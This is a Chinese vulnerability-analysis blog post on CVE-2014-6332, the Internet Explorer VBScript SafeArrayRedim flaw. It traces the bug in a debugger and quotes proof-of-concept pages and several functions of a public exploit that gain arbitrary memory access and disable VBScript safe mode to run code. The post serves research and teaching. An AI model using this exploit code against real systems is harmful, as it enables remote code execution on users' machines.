首页 文章详情

Internet Explorer漏洞分析(三)[下]——CVE-2014-6332

Gcow安全团队 | 417 2021-03-14 18:15 0 0 0
UniSMS (合一短信)

Internet Explorer漏洞分析(三)[下]——CVE-2014-6332

1.本文一共2158个字39张图预计阅读时间14分钟2.本文作者erfze 属于Gcow安全团队复眼小组未经过许可禁止转载3.本篇文章是CVE-2014-6332漏洞的分析入手详细的阐述漏洞的成因以及如何去利用该漏洞4.本篇文章十分适合漏洞安全研究人员进行交流学习5.若文章中存在说得不清楚或者错误的地方欢迎师傅到公众号后台留言中指出感激不尽

0x01 漏洞信息

0x01.1 漏洞简述

编号:CVE-2014-6332漏洞影响:远程代码执行(RCE)CVSS 2.0:9.3

oleaut32.dllSafeArrayRedim在进行数组重新定义时未对传入参数psaboundNew进行有效校验,以致可以越界读写,进而造成任意代码执行。

0x01.2 漏洞影响

Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT Gold and 8.1

0x01.3 修复方案

[MS14-064]https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-064

0x02 漏洞分析

0x02.1 分析环境

OS版本:Windows 7 Service Pack 1Internet Explorer版本:8.0.7601.17514oleaut32.dll版本:6.1.7601.17514vbscript.dll版本:5.8.7601.17514

0x02.2 前置知识

请移步Internet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探

0x02.3 详细分析

分析所用POC如下:

<!doctype html><htmllang="en"><head></head><body><scriptLANGUAGE="VBScript">OnErrorResumeNextDim arrayA()Dim sizeDim over    size =&h5    over =&h8000000 + sizeRedimPreserve arrayA(size)RedimPreserve arrayA(over)    arrayA(size+1)="Hello"</script></body></html>

打开该POC,使用WinDbg附加调试,于vbscript!RedimPreserveArray函数处设断,允许阻止的内容:

f1d4532efef0bd19d23493f451fef427.webp

图1

执行到call oleaut32.dll!SafeArrayRedim处,跟进分析:

a1f9c9430c7984187fcdebd0d6c17195.webp

图2

首先是判断传入参数psapsaboundNew均不为空:

4ae9dbed40027ae38c705b6512442f60.webp

图3

之后对psa.fFeaturespsa.cDimspsa.cLocks进行判断:

c839b472ca2355650ae9e21b1ae6bf0c.webp

图4

call SafeArraySize计算数组元素占用空间大小:

a6a4e1b15466b5a33b7008542f3a3a39.webp

图5

psaboundNew写入psa.rgsabound中:

d1a3312e499699b30a03d93ea8c686f1.webp

图6

调整后数组:

7aab70b52af4afcb8be566303f465b41.webp

图7

计算调整后数组元素占用空间大小,减去原来数组元素占用空间大小:

246e618514359c15565a1a57da4d97b2.webp

图8

由于此时ebx=80000000,故执行结果为负数指令分支 :

103d9ca9d8956e9159127dacd17db71e.webp

图9

ole32!CRetailMalloc_Alloc函数用于为HeapAlloc传递参数并调用之:

78af3a5639940c5a0ec29ae1b98f91c2.webp

图10

由于申请空间远远超过可分配空间大小,故分配失败,直接跳转到函数末返回错误值:

7414f2fecceaa1c0588437243a17e507.webp

图11

由此,便可实现任意地址读写。

下面来看看正常执行流程,修改POC如下:

<!doctype html><htmllang="en"><head></head><body><scriptLANGUAGE="VBScript">OnErrorResumeNextDim arrayA()Dim sizeDim over    size =&h6    resize =&h4RedimPreserve arrayA(size)    arrayA(0)="Jane"    arrayA(5)="Alan"RedimPreserve arrayA(resize)IsEmpty(arrayA)</script></body></html>

调整后数组元素占用空间大小-原来数组元素占用空间大小=0x50-0x70=ffffffe0

890aa14301aac1d953c921af38f7c41c.webp

图12

对其取相反数后申请如此大小空间:

25eef365fe8bad397eadffb2c05fb17c.webp

图13

之后将数组多余元素即arrayA(5)—arrayA(6)复制到此空间内:

be73ee3357519d8b494d31e4a1c460ff.webp

图14

3a41b926c7a2b5b445f3e68d8070e527.webp

图15

call ole32!CRetailMalloc_Realloc重新分配堆块:

3cad9053de0f3298d2cfea423417251f.webp

图16

总结:

1.SafeArrayRedim函数在未重新分配空间之前便将psaboundNew写入psa.rgsabound,用以传递给SafeArraySize函数计算调整数组元素大小2.sub ebx, [ebp+Size]test ebx, ebx两条指令用于判断调整数组元素大小—原数组元素大小与零的关系,小于零/大于等于零进入不同分支处理3.neg [ebp+psaboundNew]对调整数组元素大小与原数组元素大小差值取相反数,将其传递给HeapAlloc函数分配相应大小堆块

POC中&h8000000(该值经过SafeArraySize函数计算后为0x80000000)正是利用以上三点,实现任意地址读写——test ebx, ebxjge组合进行有符号数比较,neg对其取反仍为0x80000000。

0x02.4 利用分析

Exp来自[yuange]https://www.exploit-db.com/exploits/35229。

第一部分:

functionBeginInit()Randomize()   redim aa(5)   redim ab(5)   a0=13+17*rnd(6)   a3=7+3*rnd(5)endfunctionfunctionCreate()OnErrorResumeNext  dim iCreate=FalseFor i =0To400IfOver()=TrueThen'   document.write(i)     Create=TrueExitForEndIfNextendfunction......functionOver()OnErrorResumeNext    dim type1,type2,type3Over=False    a0=a0+a3    a1=a0+2    a2=a0+&h8000000    redim  Preserve aa(a0)    redim   ab(a0)    redim  Preserve aa(a2)    type1=1    ab(0)=1.123456789012345678901234567890    aa(a0)=10If(IsObject(aa(a1-1))=False)Thenif(intVersion<4)then           mem=cint(a0+1)*16           j=vartype(aa(a1-1))if((j=mem+4)or(j*8=mem+8))thenif(vartype(aa(a1-1))<>0)ThenIf(IsObject(aa(a1))=False)Then                   type1=VarType(aa(a1))endifendifelse             redim  Preserve aa(a0)exitfunctionendifelseif(vartype(aa(a1-1))<>0)ThenIf(IsObject(aa(a1))=False)Then                  type1=VarType(aa(a1))endifendifendifendif'0x6f66 & 0xFFFFBFFF=0x2f66   If(type1=&h2f66)thenOver=TrueEndIfIf(type1=&hB9AD)ThenOver=True          win9x=1EndIf    redim  Preserve aa(a0)endfunction

通过循环不断重新定义数组,扩大数组规模,直至数组aaab于内存中相邻(准确 来说,二者相差8字节):

03586179fdcc303edd24ce278cd31c08.webp

图17

ab(0)=1.123456789012345678901234567890,该值转换IEEE浮点数可通过[IEEE 754 Calculator]http://weitz.de/ieee/ 计算:

a0bafb6e82fd28b1a519212e7d8fdab9.webp

图18

如此一来,可通过aa数组访问ab数组元素(由ab起始位置偏移8字节)。type1=&h2f66判断是由于GetVarType函数返回前会将vt0xFFFFBFFF作与运算:

9eaf74d21b4c229eb5d2851c751b6b4a.webp

图19

第二部分:

               myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)        myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0).......sub testaa()endsubfunction mydata()OnErrorResumeNext     i=testaa     i=null     redim  Preserve aa(a2)     ab(0)=0     aa(a1)=i     ab(0)=6.36598737437801E-314     aa(a1+2)=myarray     ab(2)=1.74088534731324E-310     mydata=aa(a1)     redim  Preserve aa(a0)endfunction

先来看 i=testaa操作——将函数赋值给变量。简化版如下:

<!doctype html><htmllang="en"><head></head><body><scriptLANGUAGE="VBScript">OnErrorResumeNextsub testaa()endsubIsEmpty("Test")    i = testaa    i =null</script></body></html>

vbscript!VbsIsEmpty断下:

5d9caee9c19540bb2d751205913bbe38.webp

图20

通过ba w 2 1dc9e68ba w 4 1dc9e68+8两条指令对栈顶设断,第二次断下时,修改vt0x4C

c3d940d818343ba51d11a7aec9445efe.webp

图21

第三次断下:

80e41639c9ffda83eed2a2ca0cdca15b.webp

图22

第四次断下,更改vt0x01(VT_NULL = 0x0001):

26115eea83b13464d46b85890cc4586e.webp

图23

但其仍存储的是vbscript!CScriptEntryPoint对象,其后赋值给iOn Error Resume Next在此处尤为重要,是否加入该语句执行情况对比:

9d025280c0a1f95758eba834b933282c.webp

图24

未加入On Error Resume Next语句最终会调用CSession::ReportError

9d550c966b4ea5f2d1a3a78d0f9a8210.webp

图25

而不会执行后续i = null语句,感兴趣的读者可自行探索CScriptRuntime::RunNoEH函数,不在这里过多展开(该函数功能复杂,笔者仅是简单跟踪是否加入On Error Resume Next语句的执行流):

f7f45c41f8ed338f6ecd2bbe1117f431.webp

图26

开启任意读写后执行aa(a1)=i

70f2ad0d52785643f833f4740c7d6f0c.webp

图27

ab(0)=6.36598737437801E-314

112108bf80e9dfb7143a982e632546b8.webp

图28

aa(a1+2)=myarray

89efc7398c7f8d8cea592e259a1be065.webp

图29

ab(2)=1.74088534731324E-310

ae3c5f6f1f9ccedea0f4f58fdb07428a.webp

图30

关于此处的调试可于vbscript!VbsIsEmpty函数设断,配合如下修改:

'isempty(ab)     ab(0)=0     aa(a1)=i'isempty("1")     ab(0)=6.36598737437801E-314'isempty("2")     aa(a1+2)=myarray'isempty("3")     ab(2)=1.74088534731324E-310'isempty("4")

第一次断下后,可获得数组元素存储位置:

e2c450aed144c6715202a23932a54197.webp

图31

mydata=aa(a1)

c7b8010e14c4228144a4c3887016877f.webp

图32

第三部分:

functionReadMemo(add)OnErrorResumeNext    redim  Preserve aa(a2)    ab(0)=0    aa(a1)=add+4    ab(0)=1.69759663316747E-313ReadMemo=lenb(aa(a1))    ab(0)=0    redim  Preserve aa(a0)endfunction

该函数功能用于读取参数add指向内存,关键函数是cbLengthBstr(具体请参考Internet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探中的0x05 LenB函数一节)。ab(0)=1.69759663316747E-313

1e675b686e198b9767fb1eb4d603f31f.webp

图33

完成读取:

8916d23e43561b9f2e6b5863071a5cea.webp

图34

第四部分:

function setnotsafemode()OnErrorResumeNext    i=mydata()    i=readmemo(i+8)    i=readmemo(i+16)    j=readmemo(i+&h134)for k=0 to &h60 step 4        j=readmemo(i+&h120+k)if(j=14)then              j=0              redim  Preserve aa(a2)              aa(a1+2)(i+&h11c+k)=ab(4)              redim  Preserve aa(a0)              j=0              j=readmemo(i+&h120+k)Exitforendifnext    ab(2)=1.69759663316747E-313    runmumaa()endfunction

第一次读取结果见上文图片,i=readmemo(i+16)第二次读取:

c449eb8f0214dd7683d90d0479cd435d.webp

图35

该地址为vbscript!COleScript对象:

cfa0453190f1e66d4e133b85988ebcd0.webp

图36

通过循环于该对象偏移0x120之后搜寻0x0E,该值用于检查是否处于SafeMode:

f089e1ee29f1fbf9abc42d5e6f3167d1.webp

图37

aa(a1+2)存储的是之前构造数组对象——myarray

6778467b4f7fe8ed3e59e043d0498799.webp

图38

myarray起始地址为0,rgsabound.cElements0x7fff0000,故可读写vbscript!COleScript+0x170处内容:

9b450f6d179d9bd8720fe954a8fb2851.webp

图39

修改完成,进入GodMode,成功弹出notepad.exe。

0x03 参阅链接

[Microsoft Docs——SAFEARRAY]https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearrayInternet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探


good-icon 0
favorite-icon 0
收藏
回复数量: 0
    暂无评论~~
    Ctrl+Enter